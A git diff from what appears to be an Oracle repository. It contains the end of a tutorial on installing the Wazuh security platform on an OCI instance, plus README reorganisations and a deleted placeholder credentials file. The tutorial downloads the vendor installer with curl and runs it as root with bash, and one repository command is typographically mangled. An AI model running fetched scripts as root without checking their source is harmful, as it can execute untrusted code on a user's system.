robust and scalable security platform that can help them detect and respond to security threats quickly and effectively while leveraging the benefits of a cloud computing environment. + +OCI Observability Platform can be used also to send data to Wazuh, or it can also load data from Wazuh, based on your company policies. + +With this short description in mind, I will move forward and install Wazuh using a 2 OCPU Instance as it’s a test instance with a maximum of 10 deployed agents. + +![Picture 19](./images/image-01.png) + +The [quick start](https://documentation.wazuh.com/current/quickstart.html) installation is very simple. I have choose OEL8 as the OS. + +Menu →Compute →Create Instance and give it a name, select the AD, Image and Shape: + +![Picture 17](./images/image-02.png) + +![Picture 16](./images/image-03.png) + +Select the VCN and Subnet: + +![Picture 15](./images/image-04.png) + +Add the ssh key, and increase the boot volume to 100 Gb. This is just a demo on how to install Wazuh. You should install it on a Block volume, as the performance is much better then on boot: + +![Picture 14](./images/image-05.png) + +![Picture 13](./images/image-06.png) + +After boot, run : + +```text +sudo /usr/libexec/oci-growfs +``` + +![Picture 12](./images/image-07.png) + +Next run this command to get [the installer](https://documentation.wazuh.com/current/deployment-options/elastic-stack/all-in-one-deployment/index.html) and execute: + +```text +curl -sO https://packages.wazuh.com/4.7/wazuh-install.sh && sudo bash ./wazuh-install.sh -a +``` + +![Picture 11](./images/image-08.png) + +![Picture 10](./images/image-09.png) + +I have updated the command to latest version. + +During the installation I get this error, and I needed to find a solution for it. + +22/02/2023 08:29:45 ERROR: Filebeat installation failed. + +I have checked if I am able to install Filebeat manually, and it looked like that my Instance uses OSMS, and Wazuh repo wasn’t accesible. I have added the Wazuh Repo to the OCI instance, and I have run the installer again: + +```text +sudo rpm — import https://packages.wazuh.com/key/GPG-KEY-WAZUH + sudo cat > /etc/yum.repos.d/wazuh.repo << EOF +>[wazuh] +> gpgcheck=1 +> gpgkey=https://packages.wazuh.com/key/GPG-KEY-WAZUH +> enabled=1 +> name=EL-\$releasever — Wazuh +> baseurl=https://packages.wazuh.com/4.x/yum/ +> protect=1 +> EOF +``` + +I have disabled the OS Management agent on the instance: + +![Picture 9](./images/image-10.png) + +And I have started the install again. After the provisioning is finished, you can try to connect to the Wazuh Page. + +![Picture 8](./images/image-11.png) + +This will not work, as port 443 is not opened from the instance, even if I have it opened in the NSG. + +On the Wazuh server run these commands, and reload the page: + +```text +# firewall-cmd --zone=public --permanent --add-service=https +# firewall-cmd --reload +``` + +![Picture 20](./images/image-12.png) + +Congratulations! You have your Wazuh Server up and running(All-in-one server). diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-01.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-01.png new file mode 100644 index 000000000..7d049217b Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-01.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-02.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-02.png new file mode 100644 index 000000000..0049002be Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-02.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-03.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-03.png new file mode 100644 index 000000000..46370388e Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-03.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-04.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-04.png new file mode 100644 index 000000000..b3df1a0a4 Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-04.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-05.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-05.png new file mode 100644 index 000000000..55c051476 Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-05.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-06.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-06.png new file mode 100644 index 000000000..43cf5683c Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-06.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-07.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-07.png new file mode 100644 index 000000000..f54da4240 Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-07.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-08.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-08.png new file mode 100644 index 000000000..581ba313e Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-08.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-09.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-09.png new file mode 100644 index 000000000..122529033 Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-09.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-10.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-10.png new file mode 100644 index 000000000..93c0fc157 Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-10.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-11.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-11.png new file mode 100644 index 000000000..777f43c28 Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-11.png differ diff --git a/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-12.png b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-12.png new file mode 100644 index 000000000..f081e2425 Binary files /dev/null and b/observability-and-management/assets/why-and-how-to-run-wazuh-on-oci/images/image-12.png differ diff --git a/observability-and-management/cost-management/README.md b/observability-and-management/cost-management/README.md new file mode 100644 index 000000000..3880fda83 --- /dev/null +++ b/observability-and-management/cost-management/README.md @@ -0,0 +1,32 @@ +# OCI Cost Management + +Use the Oracle Cloud Infrastructure Console Cost Management pages to analyze costs, view cost reports, create and manage budgets, and view scheduled Cost Analysis reports. + +Reviewed: 23.06.2026 + +# Table of Contents + +1. [Team Publications](#team-publications) +2. [Useful Links](#useful-links) + +# Team Publications + + +|OCI Cost Management asset| Asset Page| +|---|---| +| Tenancy usage cost report|[Link](/observability-and-management/assets/tenancy-usage-cost-reports/README.md)| +| Log Analytics for FinOps|[Link](/observability-and-management/logging-analytics/finops/README.md)| + + + +# Useful Links + +- [OCI Cost Management](https://docs.oracle.com/en-us/iaas/Content/Billing/Concepts/costmanagementoverview.htm) + +# License + +Copyright (c) 2026 Oracle and/or its affiliates. + +Licensed under the Universal Permissive License (UPL), Version 1.0. + +See [LICENSE](https://github.com/oracle-devrel/technology-engineering/blob/main/LICENSE) for more details. \ No newline at end of file diff --git a/observability-and-management/database-management/README.md b/observability-and-management/database-management/README.md index c0fccd632..5dca4c4c2 100644 --- a/observability-and-management/database-management/README.md +++ b/observability-and-management/database-management/README.md @@ -2,12 +2,7 @@ Database Management provides comprehensive database performance diagnostics and management capabilities to monitor and manage Oracle Databases. In addition, you can use Database Management to discover and monitor on-premises Oracle Database System (External Database System) components and Exadata Storage Infrastructure. -Reviewed: 12.03.2026 - -|Asset | Page| -|---|---| -| Landing Zone Add-on | [Link](./LZ-addons/README.md) | - +Reviewed: 22.06.2026 # Table of Contents @@ -17,9 +12,14 @@ Reviewed: 12.03.2026 # Team Publications -- [Database Management Demo](https://www.youtube.com/watch?v=3k9jrkOlBkc) -- [OCI Database Management PDB Support](https://learnoci.cloud/oci-database-management-new-features-announced-f9991cba2cc2) -- [How to enable OCI Observability for OCI native database deploy](https://medium.com/@erikasciunzi/enable-observability-for-oci-native-database-deploy-235484953e46) + +| Database Management asset | Asset Page| +|---|---| +| Landing Zone Add-on | [Link](./LZ-addons/README.md) | +| Database Management Demo|[Link](https://www.youtube.com/watch?v=3k9jrkOlBkc)| +| Automated Observability Enablement for External Oracle Databases| [Link](/observability-and-management/database-observability/external-database-enablement/README.md) | +| Automated Observability Enablement for OCI Cloud-Native Databases| [Link](/observability-and-management/database-observability/oci-dbman-opsi/README.md) | + # Useful Links diff --git a/observability-and-management/database-observability/README.MD b/observability-and-management/database-observability/README.MD index e941439bf..07c62550a 100644 --- a/observability-and-management/database-observability/README.MD +++ b/observability-and-management/database-observability/README.MD @@ -6,7 +6,7 @@ | Exadata cloud@customer | [Link](./exacc-observability-assets/README.md) | | Exadata Cloud Service | [Link](./exacs-and-dbcs-observability-assets/README.md)| | Automated Observability Enablement for External Oracle Databases| [Link](./external-database-enablement/README.md) | -| Automated Observability Enablement for OCI Cloud-Native Databases| [Link](https://github.com/adibirzu/oci-dbman-opsi) | +| Automated Observability Enablement for OCI Cloud-Native Databases| [Link](./assets/oci-dbman-opsi/README.md) | | DB@GCP | [WIP](https://docs.oracle.com/en-us/iaas/Content/database-at-gcp/gcpmn-monitor.html)| | DB@Azure |[WIP](https://docs.oracle.com/en-us/iaas/Content/database-at-azure/azumn-monitor.html)| | DB@AWS | [Link](./oracleaws/README.md)| diff --git a/observability-and-management/database-observability/exacc-observability-assets/files/image-19.png b/observability-and-management/database-observability/exacc-observability-assets/files/image-19.png index 12d7375fc..e69de29bb 100644 Binary files a/observability-and-management/database-observability/exacc-observability-assets/files/image-19.png and b/observability-and-management/database-observability/exacc-observability-assets/files/image-19.png differ diff --git a/observability-and-management/database-observability/external-database-enablement/files/db_credentials_example.json b/observability-and-management/database-observability/external-database-enablement/files/db_credentials_example.json index c02b94ff2..e69de29bb 100644 --- a/observability-and-management/database-observability/external-database-enablement/files/db_credentials_example.json +++ b/observability-and-management/database-observability/external-database-enablement/files/db_credentials_example.json @@ -1,18 +0,0 @@ -{ - "cred1": { - "userName":"DBSNMP", - "userPassword":"", - "userRole":"NORMAL" - }, - "cred2": { - "userName":"ASMSNMP", - "userPasswordSecretId":"ocid1.vaultsecret.oc1.XXXXXX", - "userRole":"SYSDBA" - }, - "cred3": { - "userName":"DBSNMP", - "userPasswordSecretId":"ocid1.vaultsecret.oc1.XXXXXX", - "userRole":"NORMAL", - "sslSecretId":"ocid1.vaultsecret.oc1.XXXXXX" - } -} \ No newline at end of file diff --git a/observability-and-management/logging-analytics/README.md b/observability-and-management/logging-analytics/README.md index 8efbd7105..abcac832c 100644 --- a/observability-and-management/logging-analytics/README.md +++ b/observability-and-management/logging-analytics/README.md @@ -2,16 +2,8 @@ Oracle Logging Analytics is a cloud solution in Oracle Cloud Infrastructure that lets you index, enrich, aggregate, explore, search, analyze, correlate, visualize, and monitor all log data from your applications and system infrastructure. -Reviewed: 05.05.2026 +Reviewed: 23.06.2026 -|Asset | Page| -|---|---| -| How to inject Oracle Fusion HCM logs in Logging Analytics | [Link](./fusion-hcm-to-la/README.md)| -|Forward Azure logs to OCI |[Link](https://github.com/adibirzu/azurelogs2oci)| -|Log Analytics Advanced Security Detection|[Link](https://github.com/adibirzu/oci-log-analytics-detections)| -|Log Analytics Security Dashboards|[Link](https://github.com/adibirzu/logan-security-dashboard)| -|Stream Azure Event Hub logs into Log Analytics|[Link](https://github.com/adibirzu/azurelogs2oci/)| -|Stream GCP logs into Log Analytics|[Link](https://github.com/adibirzu/gcplogs2oci)| # Table of Contents @@ -20,22 +12,17 @@ Reviewed: 05.05.2026 # Team Publications -- [Logging Analytics Demo](https://www.youtube.com/watch?v=1bJb92put4k) -- [How to send Windows Logs to Logging Analytics from OCI Logging](https://learnoci.cloud/how-to-send-windows-logs-to-logging-analytics-from-oci-logging-2c2a209c180a) -- [How to get your IDCS Logs into OCI Logging Analytics](https://learnoci.cloud/how-to-get-your-idcs-logs-into-oci-logging-analytics-897dca063198) -- [How to get Sysmon events into Logging Analytics](https://learnoci.cloud/how-to-get-sysmon-events-into-logging-analytics-798eec1e57d5) -- [How to ingest Windows Logs into Logging Analytics](https://learnoci.cloud/how-to-ingest-windows-logs-into-logging-analytics-ec9fa591edc5) -- [Adding Threat Intelligence to Your Logging Analytics Solution in Oracle Cloud Infrastructure](https://learnoci.cloud/adding-threat-intelligence-to-your-logging-analytics-solution-in-oracle-cloud-infrastructure-882ee020fbcd) -- [Leveraging OCI Logging Analytics with OSSEM Detection Model for Enhanced Security Analytics](https://adibirzu.medium.com/leveraging-oci-logging-analytics-with-ossem-detection-model-for-enhanced-security-analytics-e599b270a14a) -- [Analyzing OCI Compute Instance logs with OCI Logging Analytics](https://blogs.oracle.com/observability/post/oci-logginganalytics-compute-instance) -- [Logging Analytics solution for Oracle Kubernetes Engine](https://karthicin.medium.com/logging-monitoring-solution-for-oracle-kubernetes-engine-oke-611738fe7d1) -- [How to collect Windows event logs in Logging Analytics](https://karthicin.medium.com/how-to-collect-windows-event-logs-in-logging-analytics-3a4f3ec8dc95) -- [Oracle APEX Monitor](https://github.com/oracle-quickstart/oci-o11y-solutions/tree/main/knowlege-content/oracle-database/APEX) -- [OCI MySQL database log collection using Logging Analytics](https://karthicin.medium.com/oci-mysql-database-log-collection-using-logging-analytics-b521441ba06b) -- [How to Measure Raw Byte Size of Stored Logs in OCI Logging Analytics](https://medium.com/@michtoeth/how-to-measure-raw-byte-size-of-stored-logs-in-oci-logging-analytics-3f5387506c07) -- [Kubernetes Solution in OCI Logging Analytics](https://karthicin.medium.com/kubernetes-solution-in-oci-logging-analytics-035a0eb39cb5) -- [Log Spike detection and Alert in OCI Logging Analytics](https://karthicin.medium.com/log-spike-detection-and-alert-in-oci-logging-analytics-40a62598cc16) -- [How To Install Suricata in OCI and send the logs to Logging Analytics](https://adibirzu.medium.com/how-to-install-suricata-in-oci-and-send-the-logs-to-logging-analytics-53587e691fbc) + +|OCI Log Analytics Asset | Asset Page| +|---|---| +| Log Analytics Demo|[Link](https://www.youtube.com/watch?v=1bJb92put4k)| +| Log Analytics for FinOps| [Link](./finops/README.md)| +| Analyzing OCI Compute Instance logs with OCI Logging Analytics|[Link](https://blogs.oracle.com/observability/post/oci-logginganalytics-compute-instance)| +| How to inject Oracle Fusion HCM logs in Logging Analytics | [Link](./fusion-hcm-to-la/README.md)| +| Log Analytics Advanced Security Detection|[Link](/observability-and-management/assets/oci-log-analytics-detections/README.md)| +| Stream Azure Event Hub logs into Log Analytics|[Link](/observability-and-management/assets/azurelogs2oci/README.md)| +| Stream GCP logs into Log Analytics|[Link](/observability-and-management/assets/gcplogs2oci/README.md)| + # Useful Links diff --git a/observability-and-management/logging/README.md b/observability-and-management/logging/README.md index c11e1f206..13ba6f936 100644 --- a/observability-and-management/logging/README.md +++ b/observability-and-management/logging/README.md @@ -2,7 +2,8 @@ The Oracle Cloud Infrastructure Logging service is a highly scalable and fully managed single pane of glass for all the logs in your tenancy. Logging provides access to logs from Oracle Cloud Infrastructure resources. These logs include critical diagnostic information that describes how resources are performing and being accessed. -Reviewed: 09.04.2026 +Reviewed: 22.06.2026 + # Table of Contents @@ -11,17 +12,16 @@ Reviewed: 09.04.2026 # Team Publications -- [Use Auditd logs in OCI with Logging Service](https://learnoci.cloud/use-auditd-logs-in-oci-with-logging-service-5caa13719315?sk=497fb416850a753be1997577f68b6d3d) -- [How to enable custom logs in OCI Instances](https://learnoci.cloud/how-to-enable-custom-logs-in-oci-instances-c21701c05a93?sk=fde8925d5588a4e87a4b6adae1e5affc) -- [Use CloudGuard to search for MITRE ATT&CK Techniques detection](https://learnoci.cloud/use-cloudguard-to-search-for-mitre-att-ck-techiniques-detections-722cd36ea6b5?sk=64da19de232c3d5b2fcee567560da907) -- [How to ingest Data Safe Audit Events in OCI logging](https://learnoci.cloud/how-to-ingest-data-safe-audit-events-in-oci-logging-efc1d65eefad?sk=e663bd8b325fda7af79d8e9bf5e1055a) -- [How to create a Postman collection for audit logs](https://learnoci.cloud/how-to-create-a-postman-collection-for-oci-audit-logs-7115f16737dd?sk=a2f842471737ad12c0ff5b67499a960e) -- [OKE logging using OCI Logging](https://learnoci.cloud/oke-log-collection-using-oci-logging-3f1e732928b3?source=friends_link&sk=d077521b8306b55c3f84cd0712a771e7) -- [Stream OCI Logs to Splunk](https://learnoci.cloud/stream-oci-logs-to-splunk-v9-1-c71c93e470fe?sk=8a7c3f6201bfcd847a83d36247eddfa7) -- [Enable OCI VCN Flow logs in an easy way](https://karthicin.medium.com/enable-oci-vcn-flow-logs-in-easy-way-c986c6cda6c0) -- [OCI Cross-tenancy log management](https://learnoci.cloud/oci-cross-tenancy-log-management-8165c6048827) -- [How to export OCI logs to file](https://learnoci.cloud/how-to-export-oci-logs-to-file-e0461f369f61) -- [Use Auditd logs in OCI with Logging Service](https://learnoci.cloud/use-auditd-logs-in-oci-with-logging-service-5caa13719315) +|OCI Logging Asset| Asset Page| +|---|---| +| How to export OCI logs to file|[Link](/observability-and-management/assets/export-oci-logs-to-file/README.md)| +| OCI Cross-tenancy log management|[Link](/observability-and-management/assets/oci-cross-tenancy-log-management/README.md)| +| OKE logging using OCI Logging|[Link](/observability-and-management/assets/oke-log-collection-using-oci-logging/README.md)| +| How to create a Postman collection for audit logs|[Link](/observability-and-management/assets/postman-collection-for-oci-audit-logs/README.md)| +| Use CloudGuard to search for MITRE ATT&CK Techniques detection|[Link](/observability-and-management/assets/cloudguard-mitre-attack-techniques-detections/README.md)| +| How to enable custom logs in OCI Instances|[Link](/observability-and-management/assets/enable-custom-logs-in-oci-instances/README.md)| +| Use Auditd logs in OCI with Logging Service|[Link](/observability-and-management/assets/use-auditd-logs-in-oci-with-logging-service/README.md)| +|Cloud Guard insight recipes windows events|[Link](/observability-and-management/assets/cloud-guard-insight-recipes-windows-event-ids/README.md)| # Useful Links - [Logging](https://docs.oracle.com/en-us/iaas/Content/Logging/home.htm) diff --git a/observability-and-management/oci-monitoring/README.md b/observability-and-management/oci-monitoring/README.md index 238feb63a..25c5cd017 100644 --- a/observability-and-management/oci-monitoring/README.md +++ b/observability-and-management/oci-monitoring/README.md @@ -2,7 +2,7 @@ Use Monitoring to query metrics and manage alarms. Metrics and alarms help monitor the health, capacity, and performance of your cloud resources. -Reviewed: 26.01.2026 +Reviewed: 23.06.2026 # Table of Contents @@ -11,14 +11,17 @@ Reviewed: 26.01.2026 # Team Publications -- [Cost estimation](https://learnoci.cloud/new-summary-feature-in-the-oci-compute-creation-workflow-e71b63d68cdd) -- [How to feed OCI metrics to Security Onion Grafana](https://learnoci.cloud/how-to-feed-oci-metrics-to-security-onion-grafana-2dd1ceac3f71) -- [Use Oracle REST API call to manage OEM assets](https://medium.com/@eugenesimos/supercharge-your-oracle-enterprise-manager-cloud-control-13-5-d264e7371ec9) -- [Customised Alarm Notification in OCI](https://karthicin.medium.com/customised-alarm-notification-in-oci-e5b367ca20bc) -- [How to monitor the resource usage on your OCI Instances using Cloud Guard Instance Security Queries](https://learnoci.cloud/how-to-monitor-the-resource-usage-on-your-oci-instances-using-cloud-guard-instance-security-queries-342836ca2811) -- [How to install Arkime(Moloch) using embedded Open Search](https://learnoci.cloud/how-to-install-arkime-moloch-using-embedded-open-search-19a7a58f8eff) -- [OCI resource scheduler](https://learnoci.cloud/oci-resource-scheduler-997f83e2b063) -- [OCI Metrics Report](https://github.com/adibirzu/oci-metrics-report) + +|OCI Monitoring asset| Asset Page| +|---|---| +| Multicloud Observability with OCI Monitoring|[Link](/observability-and-management/assets/multi-cloud-observability-using-oci-monitoring/README.md)| +| OCI Metrics Report|[Link](/observability-and-management/assets/oci-metrics-report/README.md)| +| How to install Arkime(Moloch) using embedded Open Search|[Link](/observability-and-management/assets/install-arkime-moloch-using-embedded-open-search/README.md)| +| How to monitor the resource usage on your OCI Instances using Cloud Guard Instance Security Queries|[Link](/observability-and-management/assets/monitor-oci-instance-resource-usage-cloud-guard-queries/README.md)| +| Security Onion on OCI|[Link](/observability-and-management/assets/install-security-onion-on-oci/README.md)| +| How to feed OCI metrics to Security Onion Grafana|[Link](/observability-and-management/assets/feed-oci-metrics-to-security-onion-grafana/README.md)| + + # Useful Links diff --git a/observability-and-management/operations-insights/README.md b/observability-and-management/operations-insights/README.md index 777184b86..31a7951e9 100644 --- a/observability-and-management/operations-insights/README.md +++ b/observability-and-management/operations-insights/README.md @@ -2,13 +2,9 @@ Ops Insights provides comprehensive information about the resource use and capacity of databases and hosts. Use this service to analyze CPU and storage resources, forecast capacity issues, and proactively identify SQL performance issues across a database fleet. -Reviewed: 09.04.2026 +Reviewed: 22.06.2026 -|Asset | Page| -|---|---| -| Landing Zone Add-on | [Link](./LZ-addons/README.md) | - # Table of Contents 1. [Team Publications](#team-publications) @@ -16,16 +12,23 @@ Reviewed: 09.04.2026 # Team Publications -- [Ops Insights Demo](https://www.youtube.com/watch?v=Y45kPRn_c7s) -- [Auto enable hosts for Operation Insights in OCI](https://karthicin.medium.com/auto-enable-hosts-for-operation-insights-in-oci-60c9c80486b1) -- [How to enable Ops Insight for Oracle DBCS](https://learnoci.cloud/how-to-enable-operations-insight-for-oracle-dbcs-51dac10da833) -- [How to enable Ops Insights on Oracle Autonomous Database Serverless](https://medium.com/@rishabhghosh24/enable-oci-ops-insight-on-oracle-autonomous-database-serverless-61efab78f927) +| Ops Insights asset | Asset Page| +|---|---| +| Landing Zone Add-on | [Link](./LZ-addons/README.md) | +| Ops Insights Demo|[Link](https://www.youtube.com/watch?v=Y45kPRn_c7s)| +| Tag Exadata and Its Members in OCI Ops Insights with API|[Link](/observability-and-management/assets/tag-exadata-members-oci-ops-insights-api/README.md)| +| Automated Observability Enablement for External Oracle Databases| [Link](/observability-and-management/assets/external-database-enablement/README.md) | +| Automated Observability Enablement for OCI Cloud-Native Databases| [Link](/observability-and-management/assets/oci-dbman-opsi/README.md) | + + + + # Useful Links - [Ops Insights](https://docs.oracle.com/en-us/iaas/operations-insights/index.html) -- [Tag Exadata and Its Members in Ops Insights with OCI API](https://medium.com/@michtoeth/tag-exadata-and-its-members-in-operations-insights-with-oci-api-48f4d5c01fae) -- [Automation to enable OCI OpsInsight for Host](https://karthicin.medium.com/automation-to-enable-oci-opsinsight-for-host-00b333d704ff) + + # License